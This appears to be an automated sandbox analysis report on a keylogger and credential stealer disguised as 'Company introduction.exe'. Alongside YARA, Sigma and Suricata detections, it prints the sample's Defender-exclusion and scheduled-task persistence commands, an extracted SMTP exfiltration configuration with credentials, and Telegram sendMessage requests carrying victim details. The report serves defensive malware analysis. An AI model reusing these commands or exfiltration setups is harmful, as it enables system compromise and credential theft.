0.2.Company introduction.exe.4e575e0.3.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3b26e:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x7e28e:$a2: \Comodo\Dragon\User Data\Default\Login Data 0xc10ae:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3a911:$a3: \Google\Chrome\User Data\Default\Login Data 0x7d931:$a3: \Google\Chrome\User Data\Default\Login Data 0xc0751:$a3: \Google\Chrome\User Data\Default\Login Data 0x3ab6e:$a4: \Orbitum\User Data\Default\Login Data 0x7db8e:$a4: \Orbitum\User Data\Default\Login Data 0xc09ae:$a4: \Orbitum\User Data\Default\Login Data 0x3b54d:$a5: \Kometa\User Data\Default\Login Data 0x7e56d:$a5: \Kometa\User Data\Default\Login Data 0xc138d:$a5: \Kometa\User Data\Default\Login Data
0.2.Company introduction.exe.4e575e0.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2f064:$s1: UnHook 0x72084:$s1: UnHook 0xb4ea4:$s1: UnHook 0x2f06b:$s2: SetHook 0x7208b:$s2: SetHook 0xb4eab:$s2: SetHook 0x2f073:$s3: CallNextHook 0x72093:$s3: CallNextHook 0xb4eb3:$s3: CallNextHook 0x2f080:$s4: _hook 0x720a0:$s4: _hook 0xb4ec0:$s4: _hook
Click to see the 47 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\FzXKnGk.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\FzXKnGk.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\Company introduction.exe", ParentImage: C:\Users\user\Desktop\Company introduction.exe, ParentProcessId: 7452, ParentProcessName: Company introduction.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\FzXKnGk.exe", ProcessId: 7652, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FzXKnGk" /XML "C:\Users\user\AppData\Local\Temp\tmpEF32.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FzXKnGk" /XML "C:\Users\user\AppData\Local\Temp\tmpEF32.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: C:\Users\user\AppData\Roaming\FzXKnGk.exe, ParentImage: C:\Users\user\AppData\Roaming\FzXKnGk.exe, ParentProcessId: 7888, ParentProcessName: FzXKnGk.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FzXKnGk" /XML "C:\Users\user\AppData\Local\Temp\tmpEF32.tmp", ProcessId: 8024, ProcessName: schtasks.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FzXKnGk" /XML "C:\Users\user\AppData\Local\Temp\tmpE629.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FzXKnGk" /XML "C:\Users\user\AppData\Local\Temp\tmpE629.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\Company introduction.exe", ParentImage: C:\Users\user\Desktop\Company introduction.exe, ParentProcessId: 7452, ParentProcessName: Company introduction.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FzXKnGk" /XML "C:\Users\user\AppData\Local\Temp\tmpE629.tmp", ProcessId: 7700, ProcessName: schtasks.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\FzXKnGk.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\FzXKnGk.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\Company introduction.exe", ParentImage: C:\Users\user\Desktop\Company introduction.exe, ParentProcessId: 7452, ParentProcessName: Company introduction.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\FzXKnGk.exe", ProcessId: 7652, ProcessName: powershell.exe

Persistence and Installation Behavior

Sigma detected: Scheduled temp file as task from temp location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FzXKnGk" /XML "C:\Users\user\AppData\Local\Temp\tmpE629.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FzXKnGk" /XML "C:\Users\user\AppData\Local\Temp\tmpE629.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\Company introduction.exe", ParentImage: C:\Users\user\Desktop\Company introduction.exe, ParentProcessId: 7452, ParentProcessName: Company introduction.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FzXKnGk" /XML "C:\Users\user\AppData\Local\Temp\tmpE629.tmp", ProcessId: 7700, ProcessName: schtasks.exe

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-15T08:39:05.771201+0100	2803305	3	Unknown Traffic	192.168.2.4	49735	104.21.48.1	443	TCP
2025-01-15T08:39:08.006925+0100	2803305	3	Unknown Traffic	192.168.2.4	49743	104.21.48.1	443	TCP
2025-01-15T08:39:09.261798+0100	2803305	3	Unknown Traffic	192.168.2.4	49747	104.21.48.1	443	TCP
2025-01-15T08:39:10.767027+0100	2803305	3	Unknown Traffic	192.168.2.4	49752	104.21.48.1	443	TCP
2025-01-15T08:39:12.063724+0100	2803305	3	Unknown Traffic	192.168.2.4	49756	104.21.48.1	443	TCP
2025-01-15T08:39:14.296041+0100	2803305	3	Unknown Traffic	192.168.2.4	49763	104.21.48.1	443	TCP
2025-01-15T08:39:14.542062+0100	2803305	3	Unknown Traffic	192.168.2.4	49764	104.21.48.1	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-15T08:39:04.279464+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49733	193.122.6.168	80	TCP
2025-01-15T08:39:05.257413+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49733	193.122.6.168	80	TCP
2025-01-15T08:39:06.498360+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49738	193.122.6.168	80	TCP
2025-01-15T08:39:06.607571+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49737	193.122.6.168	80	TCP
2025-01-15T08:39:07.451354+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49737	193.122.6.168	80	TCP
2025-01-15T08:39:08.704094+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49745	193.122.6.168	80	TCP

Joe Security ANOMALY Telegram Send Message

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-15T08:39:15.625059+0100	1810007	1	Potentially Bad Traffic	192.168.2.4	49766	149.154.167.220	443	TCP
2025-01-15T08:39:17.808179+0100	1810007	1	Potentially Bad Traffic	192.168.2.4	49773	149.154.167.220	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Company introduction.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe

Avira: detection malicious, Label: HEUR/AGEN.1311126

Found malware configuration

Source: 00000007.00000002.1759032801.0000000004405000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "SMTP", "Username": "logs@htcp.homes", "Password": "7213575aceACE@@", "Host": "mail.htcp.homes", "Port": "587", "Version": "4.4"}
Source: 0.2.Company introduction.exe.4e575e0.3.unpack	Malware Configuration Extractor: VIP Keylogger {"Exfil Mode": "SMTP", "Email ID": "logs@htcp.homes", "Password": "7213575aceACE@@", "Host": "mail.htcp.homes", "Port": "587"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Virustotal: Detection: 29%			Perma Link

Multi AV Scanner detection for submitted file

Source: Company introduction.exe	Virustotal: Detection: 29%			Perma Link
Source: Company introduction.exe	ReversingLabs: Detection: 34%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: Company introduction.exe

Joe Sandbox ML: detected

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: reallyfreegeoip.org

Source: Company introduction.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.4:49734 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.4:49741 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49773 version: TLS 1.2

Source: Company introduction.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 4x nop then jmp 07E93F06h	0_2_07E93F5E
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 4x nop then jmp 017DF8E9h	6_2_017DF631
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 4x nop then jmp 017DFD41h	6_2_017DFA88
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 4x nop then jmp 05A8DC51h	6_2_05A8D9A8
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 4x nop then jmp 05A831E0h	6_2_05A82DBF
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 4x nop then jmp 05A831E0h	6_2_05A82DC8
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 4x nop then jmp 05A831E0h	6_2_05A8310E
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 4x nop then jmp 05A82C19h	6_2_05A82968
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 4x nop then jmp 05A8D7F9h	6_2_05A8D550
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 4x nop then jmp 05A8CF49h	6_2_05A8CCA0
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 4x nop then jmp 05A8D3A1h	6_2_05A8D0F8
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 4x nop then jmp 05A8FAB9h	6_2_05A8F810
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	6_2_05A80040
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	6_2_05A80853
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 4x nop then jmp 05A8F661h	6_2_05A8F3B8
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 4x nop then jmp 05A80D0Dh	6_2_05A80B30
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 4x nop then jmp 05A81697h	6_2_05A80B30
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 4x nop then jmp 05A8EDB1h	6_2_05A8EB08
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 4x nop then jmp 05A8F209h	6_2_05A8EF60
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 4x nop then jmp 05A8E959h	6_2_05A8E6B0
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 4x nop then jmp 05A8E0A9h	6_2_05A8DE00
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	6_2_05A80673
Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 4x nop then jmp 05A8E501h	6_2_05A8E258
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 4x nop then jmp 0183F8E9h	12_2_0183F631
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 4x nop then jmp 0183FD41h	12_2_0183FA88
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 4x nop then jmp 06F60D0Dh	12_2_06F60B30
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 4x nop then jmp 06F61697h	12_2_06F60B30
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 4x nop then jmp 06F631E0h	12_2_06F62DC8
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 4x nop then jmp 06F62C19h	12_2_06F62968
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 4x nop then jmp 06F6E959h	12_2_06F6E6B0
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	12_2_06F60673
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 4x nop then jmp 06F6E501h	12_2_06F6E258
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 4x nop then jmp 06F6E0A9h	12_2_06F6DE00
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 4x nop then jmp 06F6F661h	12_2_06F6F3B8
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 4x nop then jmp 06F6F209h	12_2_06F6EF60
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 4x nop then jmp 06F6EDB1h	12_2_06F6EB08
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 4x nop then jmp 06F6D3A1h	12_2_06F6D0F8
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 4x nop then jmp 06F6CF49h	12_2_06F6CCA0
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	12_2_06F60853
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	12_2_06F60040
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 4x nop then jmp 06F6FAB9h	12_2_06F6F810
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 4x nop then jmp 06F6DC51h	12_2_06F6D9A8
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 4x nop then jmp 06F6D7F9h	12_2_06F6D550
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 4x nop then jmp 06F631E0h	12_2_06F6310E

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810007 - Severity 1 - Joe Security ANOMALY Telegram Send Message : 192.168.2.4:49766 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810007 - Severity 1 - Joe Security ANOMALY Telegram Send Message : 192.168.2.4:49773 -> 149.154.167.220:443

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Yara detected Generic Downloader

Source: Yara match	File source: 7.2.FzXKnGk.exe.4448f78.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.FzXKnGk.exe.4405f58.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Company introduction.exe.4e9a600.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Company introduction.exe.4e575e0.3.raw.unpack, type: UNPACKEDPE

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:302494%0D%0ADate%20and%20Time:%2015/01/2025%20/%2014:34:14%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20302494%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:302494%0D%0ADate%20and%20Time:%2015/01/2025%20/%2014:14:32%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20302494%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 104.21.48.1 104.21.48.1
Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 193.122.6.168 193.122.6.168

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49745 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49738 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49733 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49737 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49743 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49764 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49747 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49763 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49752 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49735 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49756 -> 104.21.48.1:443

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.4:49734 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.4:49741 version: TLS 1.0

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
